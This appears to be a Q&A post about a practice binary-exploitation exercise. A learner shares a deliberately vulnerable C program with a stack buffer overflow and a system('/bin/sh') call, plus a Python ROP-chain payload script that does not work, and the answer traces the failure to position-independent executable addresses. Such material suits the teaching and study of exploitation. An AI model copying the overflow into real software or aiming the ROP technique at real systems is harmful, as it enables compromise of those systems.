Search code examples
cbinarybuffer-overflowexploit

Simple ROP chain with 2 arguments to the function


I'm practicing with ROPchain and I have a very simple program, where I'm unable to call the 'vulnerable' function successfully:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(int a, int b) {
        if (a == 0xdeadbeef && b == 231) {
                system("/bin/sh\00");
        }
}

int main() {
        char buf[32];
        printf("Input: ");
        fgets(buf, 256, stdin);
        printf("Result: %s", buf);
        return 0;
}

Here's the file info for that binary:

program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=95e46dcb8715548e3435a24e862efdf1a84c01fd, for GNU/Linux 3.2.0, not stripped

I'm using ROPgadget tool to get pop rsi ; pop r15 ; ret. And here is my exploit:

import struct

junk = 'A' * 32
ebp = 'B' * 8
ret_adr = struct.pack('<Q', 0x0000555555555155) # vuln
pop_rsi = struct.pack('<Q', 0x0000000000001239) # pop rsi ; pop r15 ; ret
arg_1 = struct.pack('<Q', 0xdeadbeef)           # first argument
arg_2 = struct.pack('<Q', 231)                  # second argument

print junk + ebp + pop_rsi + arg_2 + arg_1 + ret_adr

And I'm calling the binary like so:

(python exploit.py; cat) | ./program

It just dies with Segmentation fault. I tried changing the order of arguments as well, but still cannot make it work. What am I doing wrong?

P.S. It works perfectly if there's just 1 argument in that function and when I'm using pop rdi; ret.


Solution

  • You have a position independent executable, this means that addresses will change at runtime every time. You want an executable that is not PIE, compile with -no-pie -fno-pie, and then get the addresses you want again from the debugger or just with objdump.